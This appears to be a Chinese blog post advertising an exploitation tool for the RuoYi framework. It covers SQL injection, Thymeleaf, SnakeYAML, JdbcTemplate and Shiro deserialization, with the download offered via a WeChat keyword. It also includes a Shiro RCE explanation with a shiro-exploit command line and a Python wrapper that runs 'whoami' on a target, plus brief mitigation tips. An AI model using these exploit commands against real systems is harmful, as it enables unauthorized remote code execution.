【渗透利器】RuoYI漏洞综合利用工具

工具介绍

若依综合利用工具支持检测若依框架多个历史漏洞,并且支持一键利用(Snakeyaml命令执行漏洞、Snakeyaml命令执行漏洞绕过、JdbcTemplate漏洞、ReadFile(新)文件读取漏洞、Readfile(老)文件读取漏洞、Thymeleaf模板注入漏洞及多个SQL注入洞、Shiro反序列化)

工具使用

1.使用时先点击确定按钮配置url与cookie信息再进行扫描,如果cookie有效会检测所有漏洞,无效只探测shiro
2.sql盲注的时间取决于你写的显示几个字符,请耐心等待
3.在4.5.0版本测试是不能通过ruoYiConfig.setProfile设置路径的,上传jar包的路径会无法更改,所以在上传jar包之后加载不成功可采用默认路径在尝试,然后新文件读取也会无法利用。后面看了下是4.5.0是通过Global中的setProfile,懒得改了先这样吧!兄弟们的支持是我更新的动力

漏洞检测:

SQL注入:

thymeleaf注入:

snakeyaml漏洞:

JDBCtamplte注入:

免责声明

由于传播、利用RuoYI综合解密工具提供的功能而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本人不为此承担任何责任

下载地址

点击下方名片进入公众号

回复关键字【240618】获取下载链接

### RuoYi Shiro 漏洞分析与利用 RuoYi 是一款基于 Spring Boot 和 Vue 的开源前后端分离快速开发平台,而 Apache Shiro 是其常用的权限管理框架之一。然而,在实际应用中,如果配置不当或者版本过低,可能会引发安全漏洞。 #### 背景介绍 Apache Shiro 提供了一种简单易用的安全框架来处理认证、授权、加密和会话管理等功能。但在某些情况下,由于反序列化机制的存在,可能导致远程代码执行 (Remote Code Execution, RCE) 漏洞的发生[^1]。这种类型的漏洞通常可以通过构造恶意输入数据触发反序列化过程中的代码执行行为实现攻击目的。 #### 常见工具和技术手段 针对此类问题的研究人员已经开发了一些自动化检测与验证脚本,以下是几个可能适用的工具及其功能描述: - **shiro-exploit**: 这是一个专门用于测试 Apache Shiro 反序列化漏洞的小型 Python 工具。它支持多种 gadget 链路的选择以及自定义 payload 的生成。例如命令`python shiro-exploit.py echo -g CommonsCollectionsK1-u URL-v VERSION-k BASE64_KEY-c COMMAND`可以用来尝试连接目标服务器并返回当前用户的名称作为证明成功与否的结果[^3]。 - **ysoserial**: ysoserial 是另一个非常著名的 Java 序列化/反序列化漏洞研究项目,能够帮助构建各种各样的有效负载以适应不同的场景需求。虽然本身不是直接面向 Shiro 设计,但由于两者原理相似度高,因此也经常被组合起来使用。 #### 实际操作建议 当考虑如何应对上述提到的风险时,请遵循以下几点指导原则: 1. 升级至最新稳定版软件包; 2. 审查所有外部暴露接口是否存在不必要的开放情况; 3. 对敏感参数实施严格的白名单校验策略; 4. 启用 WAF(Web Application Firewall),增强防护能力抵御已知威胁模式; 下面给出一段简单的 python 示例程序演示如何调用 shiro_exploit 来完成基本的任务查询工作: ```python import subprocess def test_shiro_vuln(target_url, base64_key): try: result = subprocess.run(['python', 'shiro-exploit.py', 'echo', '-g', 'CommonsCollectionsK1', '-u', target_url, '-v', '2', '-k', base64_key, '-c', 'whoami'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) output = result.stdout.decode('utf-8') error = result.stderr.decode('utf-8') if not error and "Error" not in output: print(f"[+] Target {target_url} is vulnerable!") print("[*] Output:",output.strip()) elif "[ERROR]" in error or "Exception" in error : print("[-] Failed to exploit.") print(error) except Exception as e: print(e) if __name__ == "__main__": url="http://example.com" key="your_base64_encoded_session_id_here==" test_shiro_vuln(url,key) ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值